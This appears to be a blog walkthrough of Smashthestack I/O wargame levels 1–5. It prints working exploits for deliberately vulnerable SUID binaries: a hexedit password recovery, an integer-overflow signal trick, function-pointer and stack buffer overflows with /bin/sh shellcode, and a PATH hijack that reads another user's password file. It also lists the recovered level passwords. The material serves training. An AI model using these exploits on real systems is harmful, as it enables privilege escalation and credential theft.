Smashthestack – I/O Walkthrough Part A – [Levels 1 – 5]

A few years ago I learnt about the website smashthestack.org, which allows people to attempt to complete challenges that the hosts have created. When I learnt about the website I started working on the I/O challenges but never completed the challenges in full, I decided as part of my studying for the CSAW CTF 2013 event I would try to complete as many as possible before the challenge and I also decided to make a blogpost to keep myself focus and for others to keep up with my progress.

I/O – level 1

I ssh’d into the first level with the credentials by the host on the website, once connected to the level1 game server I was greeted with the following information.


Levels are in /levels
Passes are in ~/.pass
Readmes in /home/level1

I opened up the readme file in the directory shown above, the file states that all programs in I/O are “SUID binaries” which run with privileges of the owner instead of the privileges of the owner. I logged in via ssh, the user account I logged in as was level1 which means I can only access files that are owned by level1 or everybody.


level1@io:~$ ls -lh /levels
-r-sr-x--- 1 level2  level1  7.6K Sep 22  2012 level01

When you run the program level(number) it will ask you for a certain input and then if correct a new bash shell will be presented with the rights of the next user to allow you to access files by that user and to be able to read the pass file for the password to log into the next level.


Description of privilege escalation by Smashthestack admins

When you run it will ask you for a password. Which you must somehow find.
Given the correct password it will launch a new shell with level2 rights.

level1@io:/levels$ ./level01 [something you have to figure out goes here]
Win.
level1@io:/levels$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1),1029(nosu)
-----------------
\_________> new privileges

as you can see, by the output of the "id" command you now have euid (effective user id)
of level2. You can now read files that belong to level2. The point is to use this right
to read the password file for the next level.

level1@io:/levels$ cat /home/level2/.pass
[BINGO YOU DID IT]

After reading through the instructions and introduction, I ran the level01 program to see what was required.


level1@io:~$ /levels/level01
You need to supply a password.
Usage: /levels/level01 [password]

The program expects to receive a password as well when it is executed, using the strings command I searched the binary to see if there any strings that could possibly the password that I was searching for but I was not able to find anything that looked like a password. I then opened the binary in a hexedit and was able to find the password to be “S.e.c.r.e.t.P.W”, I entered the password into the program and greeted with a “Win!”


level1@io:~$ hexedit /levels/level01
level1@io:~$ /levels/level01 SecretPW
Win!

You will find the ssh password for level2 in /home/level2/.pass
sh-4.2$ id
uid=1002(level2) gid=1001(level1) groups=1002(level2),1001(level1),1029(nosu)
sh-4.2$ cat /home/level2/.pass
tLmf7msJTJHEpw

Using the cat command I saw the password to ssh into level2 was “tLmf7msJTJHEpw”.

I/O – level 2

The level 2 challenge has two binaries to choose from level02 or level02_alt and also the source code for both of the binaries, looking at the source code I decided I would attempt level02.c.

//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}

It appears that the level2 binary is expecting 2 valid inputs, looking up the signal I see that “SIGFPE” is caused when the arithemetic operation of “divide by zero”, since we want the catcher function to trigger as it awards me with a shell we want to cause this type of exception. Attempting this we get the failed message, looking back at the code I saw that if statement actually prevent this because it checks for if the second argument “is not 0”. Performing a man signal I learnt that negative numbers could be used to generate SIGFPE exceptions which could potentially get around the check in the if statement.


level2@io:~$ /levels/level02 -2147483648 -1
source code is available in level02.c

WIN!
sh-4.2$ id
uid=1003(level3) gid=1002(level2) groups=1003(level3),1002(level2),1029(nosu)

sh-4.2$ cat /home/level3/.pass
G2K2EP1luDpdNQ

The password for the third level was “G2K2EP1luDpdNQ”.

I/O – level 3


//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
return 0;

memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);

printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();

return 0;
}

There was only one challenge for level 3 in I/O, having a look at the source code for the binary which I included above. Straight away I see I need to get the good function to execute as this function spawns the shell for the next level. The  bad function prints the memory location you are currently at and also the target memory location.

In the main function it begins with assigning a function pointer for the memory location for the bad function which is where we get the idea that the target memory location is where the good function is. The main function then creates an array of 50 bytes called buffer, then creates to see if the string entered with executing the binary is greater then 4 bytes.


level3@io:~$ /levels/level03 aaaa
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474

The output shows the current memory location (0x80484a4) and the target memory location (0x8048474). Going back to the main function if the input is less then 4 the program returns 0 and exits. The memcpy function copies the values of num bytes from the location pointed by source directly to the memory block pointed by destination, which means the program copies the length of the input into the buffer which is placed at the starting function pointer for bad. The memset function displays the address the function pointer is pointing too. I used gdb to debug the main function of the binary.


level3@io:~$ gdb -q /levels/level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main

Dump of assembler code for function main:
0x080484c8 <+0>:     push   ebp
0x080484c9 <+1>:     mov    ebp,esp
0x080484cb <+3>:     sub    esp,0x78
0x080484ce <+6>:     and    esp,0xfffffff0
0x080484d1 <+9>:     mov    eax,0x0
0x080484d6 <+14>:    sub    esp,eax
0x080484d8 <+16>:    mov    DWORD PTR [ebp-0xc],0x80484a4
0x080484df <+23>:    cmp    DWORD PTR [ebp+0x8],0x2
0x080484e3 <+27>:    jne    0x80484fc <main+52>
0x080484e5 <+29>:    mov    eax,DWORD PTR [ebp+0xc]
0x080484e8 <+32>:    add    eax,0x4
0x080484eb <+35>:    mov    eax,DWORD PTR [eax]
0x080484ed <+37>:    mov    DWORD PTR [esp],eax
<strong>0x080484f0 <+40>:    call   0x804839c <strlen@plt></strong>
0x080484f5 <+45>:    cmp    eax,0x3
0x080484f8 <+48>:    jbe    0x80484fc <main+52>
0x080484fa <+50>:    jmp    0x8048505 <main+61>
0x080484fc <+52>:    mov    DWORD PTR [ebp-0x5c],0x0
0x08048503 <+59>:    jmp    0x8048579 <main+177>
0x08048505 <+61>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048508 <+64>:    add    eax,0x4
0x0804850b <+67>:    mov    eax,DWORD PTR [eax]
0x0804850d <+69>:    mov    DWORD PTR [esp],eax
<strong>0x08048510 <+72>:    call   0x804839c <strlen@plt></strong>
0x08048515 <+77>:    mov    DWORD PTR [esp+0x8],eax
0x08048519 <+81>:    mov    eax,DWORD PTR [ebp+0xc]
0x0804851c <+84>:    add    eax,0x4
0x0804851f <+87>:    mov    eax,DWORD PTR [eax]
0x08048521 <+89>:    mov    DWORD PTR [esp+0x4],eax
0x08048525 <+93>:    lea    eax,[ebp-0x58]
0x08048528 <+96>:    mov    DWORD PTR [esp],eax
<strong>0x0804852b <+99>:    call   0x804838c <memcpy@plt></strong>
0x08048530 <+104>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048533 <+107>:   add    eax,0x4
0x08048536 <+110>:   mov    eax,DWORD PTR [eax]
0x08048538 <+112>:   mov    DWORD PTR [esp],eax
<strong>0x0804853b <+115>:   call   0x804839c <strlen@plt></strong>
0x08048540 <+120>:   sub    eax,0x4
0x08048543 <+123>:   mov    DWORD PTR [esp+0x8],eax
0x08048547 <+127>:   mov    DWORD PTR [esp+0x4],0x0
0x0804854f <+135>:   lea    eax,[ebp-0x58]
---Type <return> to continue, or q <return> to quit---

0x08048552 <+138>:   mov    DWORD PTR [esp],eax
<strong>0x08048555 <+141>:   call   0x804835c <memset@plt></strong>
0x0804855a <+146>:   mov    eax,DWORD PTR [ebp-0xc]
0x0804855d <+149>:   mov    DWORD PTR [esp+0x4],eax
0x08048561 <+153>:   mov    DWORD PTR [esp],0x80486c0
<strong> 0x08048568 <+160>:   call   0x80483ac <printf@plt></strong>
0x0804856d <+165>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048570 <+168>:   call   eax
0x08048572 <+170>:   mov    DWORD PTR [ebp-0x5c],0x0
0x08048579 <+177>:   mov    eax,DWORD PTR [ebp-0x5c]
0x0804857c <+180>:   leave
0x0804857d <+181>:   ret
End of assembler dump.

I want to see the state of the stack is effected after the buffer has been sent, to do this I set a break  point right after the memcpy function, the memory location being “0x08048530” and then ran the binary with a string of 5 A’s.


(gdb) break *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAA
Starting program: /levels/level03 AAAAA

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc60:     0xbffffc80      0xbffffe9a      0x00000005      0x00000001
0xbffffc70:     0xb7fff908      0xb7e878d0      0xbffffd84      0xbffffe8a
0xbffffc80:     <strong>0x41414141</strong>      0xb7eb73<strong>41</strong>      0x0000002f      0xb7fd1ff4
0xbffffc90:     0x00000000      0x080497c8      0xbffffca8      0x08048338
0xbffffca0:     0xb7ff0590      0x080497c8      0xbffffcd8      0x080485a9
0xbffffcb0:     0xb7fd2304      0xb7fd1ff4      0x08048590      0xbffffcd8
0xbffffcc0:     0xb7eb7505      0xb7ff0590      0x0804859b      <strong>0x080484a4</strong>
0xbffffcd0:     0x08048590      0x00000000      0xbffffd58      0xb7e9ee16
(gdb)

In the above output in gdb I can see that the buffer is written from low to high addresses on the stack. I now need to determine how many bytes would it take to get up to the function pointer set by the program for the bad function (0x080484a4).


(gdb) run $(python -c 'print "A"*76')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level03 $(python -c 'print "A"*76')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc20:     0xbffffc40      0xbffffe53      0x0000004c      0x00000001
0xbffffc30:     0xb7fff908      0xb7e878d0      0xbffffd44      0xbffffe43
0xbffffc40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc80:     0x41414141      0x41414141      0x41414141      <strong>0x080484a4</strong>
0xbffffc90:     0x08048590      0x00000000      0xbffffd18      0xb7e9ee16
(gdb)

By trial an error I have found that 76 bytes is required to get to the point in memory where the function pointer for the bad function is, going back to the source code the binary the buffer is defined as “char buffer[50];” but because memcpy() doesn’t do checks to see if the input is inside the range of the buffer array thus allowing for the simple buffer overflow to occur in the binary. Taking all this information I know need to determine the point in memory where good function starts.


(gdb) disassemble good
Dump of assembler code for function good:
<strong>0x08048474</strong> <+0>:     push   ebp
0x08048475 <+1>:     mov    ebp,esp
0x08048477 <+3>:     sub    esp,0x18
0x0804847a <+6>:     mov    DWORD PTR [esp],0x8048660
0x08048481 <+13>:    call   0x80483bc <puts@plt>
0x08048486 <+18>:    mov    DWORD PTR [esp+0x8],0x0
0x0804848e <+26>:    mov    DWORD PTR [esp+0x4],0x8048665
0x08048496 <+34>:    mov    DWORD PTR [esp],0x8048668
0x0804849d <+41>:    call   0x804837c <execl@plt>
0x080484a2 <+46>:    leave
0x080484a3 <+47>:    ret
End of assembler dump.

I now know the good function begins at the memory location “0x08048474” which means i add these bytes to the $(python -c ‘print “A”*76’) like so $(python -c ‘print “A”*76 + “\x74\x84\x04\x08″‘) I will be overwrite the function pointer for the bad function’s memory location with the good function’s memory location, making the reverse order to the memory location as the stack operates as first in last out.


level3@io:~$ /levels/level03 $(python -c 'print "A"*76 + "\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.2$ cat /home/level4/.pass
766ShzwZAUbf4g
sh-4.2$

I/O – level 4

level4@io:~$ cat /levels/level04.c
#include <stdlib.h>

int main() {

system("id");

return 0;
}

This is a very simple binary the main function calls a system function which executes the “id” command, which I have used previously to view the user information about the current user. Having a look at the man page for the system function I learnt that system() executes a command specified in command by calling /bin/sh -c command, and returns after the command has been completed. The way a shell knows where to find a given command is because of environment variables, defined in PATH.

In context to this binary the system function sees the command “id” to execute so it reads the environment variable PATH information from left to right until a valid location for the “id” command to execute. I can have a look at the environment variable PATH as shown below.


level4@io:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Which means if I am able to add a new path for the command “id” I will have highjacked the system function. Each level has a tmp found assigned for it, /tmp/level4, there is a id.c which another user must of created, the source code for the new “id” command are shown below.

<pre class="line-pre">level4@io:/tmp/level4$ cat id.c
#include <stdlib.h>
#include <stdio.h>

int main() {
FILE *f;
char buf[256];
f = fopen("/home/level5/.pass", "r");
fread(buf, 1, 100, f);
printf("%s", buf);
}</pre>

This id variable simply opens the file containing the password and displays back to the screen. Now by compiling the source code with gcc I create the new “id” command and then I need to add the location of /tmp/level4 to the $PATH variable so the level04 binary will execute.


<code>level4@io:/tmp/level4$ export PATH=/tmp/level4:$PATH</code>

level4@io:/tmp/level4$ echo $PATH
/tmp/level4:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

As the above output shows that the directory /tmp/level4 to that start of the environment variable list which is before /usr/bin which is where the command “id” is actually stored.


level4@io:/tmp/level4$ gcc id.c -o id
level4@io:/tmp/level4$ /levels/level04
Zx5VdzACNMY9lQ
·

I/O – level 5

In level 5 there are two versions to try.


level5@io:~$ cat /levels/level05.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

char buf[128];

if(argc < 2) return 1;

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;
}

 

I decided after looking at the source codes for both of the binaries I would work with level05 instead of the alternative.


(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <+0>:     push   %ebp
0x080483b5 <+1>:     mov    %esp,%ebp
0x080483b7 <+3>:     sub    $0xa8,%esp
0x080483bd <+9>:     and    $0xfffffff0,%esp
0x080483c0 <+12>:    mov    $0x0,%eax
0x080483c5 <+17>:    sub    %eax,%esp
0x080483c7 <+19>:    cmpl   $0x1,0x8(%ebp)
0x080483cb <+23>:    jg     0x80483d9 <main+37>
0x080483cd <+25>:    movl   $0x1,-0x8c(%ebp)
0x080483d7 <+35>:    jmp    0x8048413 <main+95>
0x080483d9 <+37>:    mov    0xc(%ebp),%eax
0x080483dc <+40>:    add    $0x4,%eax
0x080483df <+43>:    mov    (%eax),%eax
0x080483e1 <+45>:    mov    %eax,0x4(%esp)
0x080483e5 <+49>:    lea    -0x88(%ebp),%eax
0x080483eb <+55>:    mov    %eax,(%esp)
0x080483ee <+58>:    call   0x80482d4 <strcpy@plt>
0x080483f3 <+63>:    lea    -0x88(%ebp),%eax
0x080483f9 <+69>:    mov    %eax,0x4(%esp)
0x080483fd <+73>:    movl   $0x8048524,(%esp)
0x08048404 <+80>:    call   0x80482b4 <printf@plt>
0x08048409 <+85>:    movl   $0x0,-0x8c(%ebp)
0x08048413 <+95>:    mov    -0x8c(%ebp),%eax
0x08048419 <+101>:   leave
0x0804841a <+102>:   ret
End of assembler dump.

I decided I would run the binary like I did before in level03 with a python script creating input for the buffer. I set a breakpoint right after the strcpy() (0x080483f3) and used the previous method of running the binary with an assigned buffer, with the buffer string set to “128” bytes”


(gdb) break *0x080483f3
Breakpoint 1 at 0x80483f3
(gdb) run $(python -c 'print "A"*128')
Starting program: /levels/level05 $(python -c 'print "A"*128')

Breakpoint 1, 0x080483f3 in main ()
(gdb) x/32xw $esp
0xbffffbb0:     0xbffffbd0      0xbffffe1f      0xb7ffeff4      0xbffffcb0
0xbffffbc0:     0xb7fffac0      0xbffffc84      0xb7feb662      0xbffffc74
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc20:     0x41414141      0x41414141      0x41414141      0x41414141

I remove the breakpoint and run the binary again getting the following output.


(gdb) run $(python -c 'print "A"*128')
Starting program: /levels/level05 $(python -c 'print "A"*128')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 18950) exited normally]

I then decided to attempt to find where the actual overflow occurs.

</pre>
(gdb) run $(python -c 'print "A"*139')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c 'print "A"*139')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 [Inferior 1 (process 19039) exited normally]

(gdb) run $(python -c 'print "A"*140')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c 'print "A"*140')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
 0xb7e9ee00 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6

Starting program: /levels/level05 $(python -c 'print "A"*144')
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
 0x41414141 in ?? ()

From the above gdb output I found a buffer of 139 bytes is right before the EIP is overwritten and the next 4 bytes starting at byte 140 overwrite the EIP register crashing the binary. To verify these values even further I used the following code, “run $(python -c ‘print “A”*140 + “B”*4’)”.


(gdb) run $(python -c 'print "A"*140 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c 'print "A"*140 + "B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

The 4 B’s successfully overwrite the EIP register entirely. So this means I need to generate the shellcode which allow me to get a shell with the escalated privileges. I was able to find a possible working shellcode, Smashing The Stack For Fun And Profit, the space for my shellcode is 139 bytes.


Shellcode
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"

I modified the python script which I pass the binary when executing to the following “run $(python -c ‘print “\x90″*102 + “\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh” + “B”*4’)”.


(gdb) run $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "B"*4')
ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/shBBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

I now need to determine the memory location I want to overwrite the EIP register with which will jump back to the start of the shellcode and begins executing said shellcode.


(gdb) x/600xb 0xbffffc40

0xbffffe10:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe18:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe20:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe28:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe30:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe38:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe40:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe48:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe50:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe58:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe60:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe68:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffe70:     0x90    0x90    0x90    0x90    0x90    0x90    0xeb    0x18
0xbffffe78:     0x5e    0x89    0x76    0x08    0x31    0xc0    0x88    0x46
0xbffffe80:     0x07    0x89    0x46    0x0c    0x89    0xf3    0x8d    0x4e
0xbffffe88:     0x08    0x8d    0x56    0x0c    0xb0    0x0b    0xcd    0x80
0xbffffe90:     0xe8    0xe3    0xff    0xff    0xff    0x2f    0x62    0x69

I decided to jump to a memory location in the middle of my NOP sled to the location of “0xbffffe40”, taking this memory location I add it to the python script to get the final product of “run $(python -c ‘print “\x90″*102 + “\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh” + “\x40\xfe\xff\xbf”‘)”.

level5@io:~$ /levels/level05 $(python -c 'print "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "\x40\xfe\xff\xbf"')
ë^1ÀFF
V
N
ó
°
Íèãÿÿÿ/bin/sh@þÿ¿
sh-4.2$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.2$ cat /home/level6/.pass
l1tbXUH2Q/Eotw
sh-4.2$

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s